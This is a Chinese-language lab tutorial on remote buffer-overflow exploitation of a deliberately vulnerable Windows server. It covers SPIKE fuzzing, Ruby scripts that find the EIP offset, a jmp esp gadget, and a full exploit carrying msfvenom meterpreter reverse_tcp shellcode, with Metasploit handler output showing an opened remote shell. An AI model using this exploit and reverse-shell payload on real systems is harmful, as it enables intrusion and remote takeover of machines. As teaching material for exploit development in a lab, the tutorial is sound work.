缓冲区溢出攻击很容易被攻击者利用,因为 C 和 C++等语言并没有自动检测缓冲区溢出操作,同时程序编写人员在编写代码时也很难始终检查缓冲区是否可能溢出.利用溢出,攻击者可以将期望数据写入漏洞程序内存中的任意位置,甚至包括控制程序执行流的关键数据(比如函数调用后的返回地址),从而控制程序的执行过程并实施恶意行为.
缓冲区溢出的常用攻击方法是将恶意代码 shellcode 注入到程序中,并用其地址来覆盖程序本身函数调用的返回地址,使得返回时执行此恶意代码而不是原本应该执行的代码.也就是说,这种攻击在实施时通常首先要将恶意代码注入目标漏洞程序中,并能够得到远程系统的控制权.
该笔记用于帮助读者理解远程缓冲区溢出的挖掘,以及编写漏洞利用程序片段,下面在进行实验前,读者应该具备一定得汇编代码阅读能力,以及对基本渗透工具的使用,并且请确保准备好以下测试环境:
被攻击主机: windows 10 (MyServer应用程序) 192.168.1.2
攻击主机: kali linux 192.168.1.7
x64dbg调试器: https://x64dbg.com/
ruby环境: http://www.ruby-lang.org
kali linux: https://www.kali.org/
MyServer下载地址:https://files-cdn.cnblogs.com/files/LyShark/MyServer.zip
1.这里编写了一个带有漏洞的Server服务器,其运行后会在本地开启9999端口,你可以使用nc工具进行连接.
2.nc工具连接后,可以执行一些测试函数,这些函数里面有一些带有漏洞,而一些则没有,这里可以通过使用help命令查询,远程服务器所支持的命令,也可以使用trun |
的方式调用命令,为了用户能够准确的将实验进行下去,我这里在每个函数后面备注了信息,其中标注有yes
的函数是存在漏洞的,相反的则是不存在漏洞的函数.
执行模糊测试
模糊测试是用于漏洞挖掘的探测工作,主要用于发现那些函数存在漏洞,尽管有许多模糊测试工具可以使用,但是在kali 系统中默认集成了SPIKE
,SPIKE是一个模糊测试工具包,该工具可以通过编写脚本的方式进行测试任务,而无须自行编写上百行的测试代码.
1.首先我们使用generic_send_tcp
进行测试,这里我们先来创建一个spike脚本
,其内容如下.
root@kali:~# vim lyshark.spk
s_readline(); # 接收一行数据
s_string("trun |"); # 像目标发送的字串
s_string_variable("A"); # 发送的字符串
2.此时我们开始测试服务器MyServer
中trun
函数是否存在漏洞,使用kali内置的工具进行模糊测试.
经过上面的缓冲区测试,你会发现MyServer
服务器端崩溃了,我们的服务器在应对二进制字符串时表现异常,其实这就是一个典型的远程缓冲区溢出,之所以会崩溃的原因是因为缓冲区没有进行合理的边界检测,从而超出了缓冲区的容量,恶意的字符串覆盖了EIP指针,导致服务器不知道下一跳去哪里取指令,从而崩溃了.
控制EIP指针
接下来我们就来测试一下目标缓冲区的大小,这也是控制EIP指针的前提条件,现在我们需要具体的知道使用多少个字节才能够不多不少的覆盖掉程序中EIP寄存器,首先先来创建一个Ruby脚本,来完成远程对缓冲区的填充,这里Ruby的代码如下.
root@kali:~# vim lyshark.rb
require 'socket'
host = '192.168.1.2'
port = 9999
sock = TCPSocket.open(host, port)
command = "trun |" # 指定要测试的函数
header = "/.:/" # 数据包发送固定写法
buf = "A" * 2000 # 生成2000个A
eip = "BBBB" # 方便区分
nops = "\x90" * 20
sock.gets()
sock.puts( command+header+buf+eip+nops ) # 发送2000个A
sock.close
root@kali:~# ruby lyshark.rb
上面的代码主要作用是,生成2000个A
,我们在kali上面运行以上代码,发现服务器崩溃了,说明脚本正常工作了.
接下来我们附加x64调试器
,并在调试器附加的基础上,再次执行以上代码,不出所料程序再次崩溃,这里我们主要关心崩溃后的堆栈情况,下图可发现EIP指针为90904242
,也就是说当前EIP一半在nop雪橇上另一半在AA上,由此我们可以猜测此时我们填充少了.
接下来我们修改一下攻击脚本,将填充物改大一些,这次我们改成2002
,也就是说想远程填充2002个A
,重新运行服务器上的服务,并再次运行攻击脚本.
require 'socket'
host = '192.168.1.2'
port = 9999
sock = TCPSocket.open(host, port)
command = "trun |" # 指定要测试的函数
header = "/.:/" # 数据包发送固定写法
buf = "A" * 2002 # 生成2002个A
eip = "BBBB" # 方便区分
nops = "\x90" * 50
sock.gets()
sock.puts( command+header+buf+eip+nops ) # 发送2002个A
sock.close
root@kali:~# ruby lyshark.rb
得到以下数据,你会发现我们的EIP地址已经指向了42424232
,也就是BBBB,由此可得出填充物的大小为2002个字节
构建漏洞攻击
在上面的环节中我们确定了填充物的大小,但细心的你会发现程序每次运行其栈地址都是随机变化的,在Windows漏洞利用过程中,由于动态链接库的装入和卸载等原因,Windows进程的函数栈帧可能产生移位,即shellcode
在内存中的地址是动态变化的,因此需要 exploit 在运行时动态定位栈中的 shellcode ,那么我们第一步就是寻找一个跳板,能够动态的定位栈地址的位置,在这里我们使用jmp esp
作为跳板指针.
其基本思路就是,用内存中任意一个jmp esp
的地址覆盖返回地址,函数返回后被重定向去执行内存中jmp esp
指令,而esp
的地址正好是我们布置好的nop雪橇的位置,此时EIP指针就会顺着nop雪橇滑向我们构建好的恶意代码,从而触发后门.
1.首先通过x64dbg调试器
加载服务器程序,选择符号,这里我找到了kernelbase.dll
这个外部模块,如下图.
2.接着我们搜索该模块中的jmp esp
指令,因为这个指令地址是固定的,我们就将EIP指针跳转到这里执行跳转,又因esp寄存器存储着当前的栈地址,所以刚好跳转到我们的nop雪橇的位置上.
在x64dbg调试器
的反汇编界面中,按下ctrl + f
搜索,并记录下这个搜寻到的地址0x77433f73
,其实这里随便一个只要是jmp esp 指令
的都可以,我们将其作为EIP的跳转地址,最后通过使用MSF生成一个反向连接的shellcode,并将其加入到脚本中.
root@kali:~# msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp \
> -b '\x00\x0b' LHOST=192.168.1.7 LPORT=9999 -f ruby
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of ruby file: 1612 bytes
buf =
"\xba\x94\x23\x08\x8e\xdb\xd1\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x03\x56\x13\x83\xee\x68\xc1\xfd\x72" +
"\x78\x84\xfe\x8a\x78\xe9\x77\x6f\x49\x29\xe3\xfb\xf9\x99" +
...省略...
3.最后在msf控制主机,启动一个侦听器,等待运行脚本.
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > set lhost 192.168.1.7
lhost => 192.168.1.7
msf5 exploit(multi/handler) > set lport 9999
lport => 8888
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.7:9999
4.经过上面的步骤我们已经构建出了漏洞利用代码,此时我们运行代码.
require 'socket'
host = '192.168.1.2'
port = 9999
sock = TCPSocket.open(host, port)
command = "trun |" #数据包包头写法
header = "/.:/" #数据包发送固定写法
buf = "A" * 2002 #2002个字节刚好填充满
eip = "\x73\x3f\x43\x77" #EIP=77433F73 将该地址反写,
nops = "\x90" * 20 #此处是nop雪橇填充的20个字节
shellcode =
"\xd9\xf7\xd9\x74\x24\xf4\x5a\xbb\xc8\xbb\x47\x96\x29\xc9" +
"\xb1\x56\x31\x5a\x18\x83\xc2\x04\x03\x5a\xdc\x59\xb2\x6a" +
"\x34\x1f\x3d\x93\xc4\x40\xb7\x76\xf5\x40\xa3\xf3\xa5\x70" +
"\xa7\x56\x49\xfa\xe5\x42\xda\x8e\x21\x64\x6b\x24\x14\x4b" +
"\x6c\x15\x64\xca\xee\x64\xb9\x2c\xcf\xa6\xcc\x2d\x08\xda" +
"\x3d\x7f\xc1\x90\x90\x90\x66\xec\x28\x1a\x34\xe0\x28\xff" +
"\x8c\x03\x18\xae\x87\x5d\xba\x50\x44\xd6\xf3\x4a\x89\xd3" +
"\x4a\xe0\x79\xaf\x4c\x20\xb0\x50\xe2\x0d\x7d\xa3\xfa\x4a" +
"\xb9\x5c\x89\xa2\xba\xe1\x8a\x70\xc1\x3d\x1e\x63\x61\xb5" +
"\xb8\x4f\x90\x1a\x5e\x1b\x9e\xd7\x14\x43\x82\xe6\xf9\xff" +
"\xbe\x63\xfc\x2f\x37\x37\xdb\xeb\x1c\xe3\x42\xad\xf8\x42" +
"\x7a\xad\xa3\x3b\xde\xa5\x49\x2f\x53\xe4\x05\x9c\x5e\x17" +
"\xd5\x8a\xe9\x64\xe7\x15\x42\xe3\x4b\xdd\x4c\xf4\xda\xc9" +
"\x6e\x2a\x64\x99\x90\xcb\x94\xb3\x56\x9f\xc4\xab\x7f\xa0" +
"\x8f\x2b\x7f\x75\x25\x26\x17\xb6\x11\x37\xe0\x5e\x63\x38" +
"\xc9\x91\xea\xde\x45\xfe\xbc\x4e\x26\xae\x7c\x3f\xce\xa4" +
"\x73\x60\xee\xc6\x5e\x09\x85\x28\x36\x61\x32\xd0\x13\xf9" +
"\xa3\x1d\x8e\x87\xe4\x96\x3a\x77\xaa\x5e\x4f\x6b\xdb\x38" +
"\xaf\x73\x1c\xad\xaf\x19\x18\x67\xf8\xb5\x22\x5e\xce\x19" +
"\xdc\xb5\x4d\x5d\x22\x48\x67\x15\x15\xde\xc7\x41\x5a\x0e" +
"\xc7\x91\x0c\x44\xc7\xf9\xe8\x3c\x94\x1c\xf7\xe8\x89\x8c" +
"\x62\x13\xfb\x61\x24\x7b\x01\x5f\x02\x24\xfa\x8a\x10\x23" +
"\x04\x48\x3f\x8c\x6c\xb2\x7f\x2c\x6c\xd8\x7f\x7c\x04\x17" +
"\xaf\x73\xe4\xd8\x7a\xdc\x6c\x52\xeb\xae\x0d\x63\x26\x6e" +
"\x93\x64\xc5\xab\x24\x1e\xa6\x4c\xc5\xdf\xae\x28\xc6\xdf" +
"\xce\x4e\xfb\x09\xf7\x24\x3a\x8a\x4c\x36\x09\xaf\xe5\xdd" +
"\x71\xe3\xf6\xf7"
sock.gets()
sock.puts( command+header+buf+eip+nops+shellcode )
sock.close
5.查看攻击主机,即可看到一个反向连接shell,此时我们可以远程执行任意命令.
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.7:9999
[*] Sending stage (179779 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.7:9999 -> 192.168.1.2:9900) at 2019-03-27 02:11:56 -0400
meterpreter > sysinfo
Computer : web-server
OS : Windows 10 (Build 16373).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
教程到这里就结束了,这里只是一个挖掘漏洞的小例子,根据这个例子读者就可以了解漏洞挖掘的具体流程,其实大多数漏洞挖掘无外乎这些步骤,只是在一些方面会有一些差异而已,但大同小异.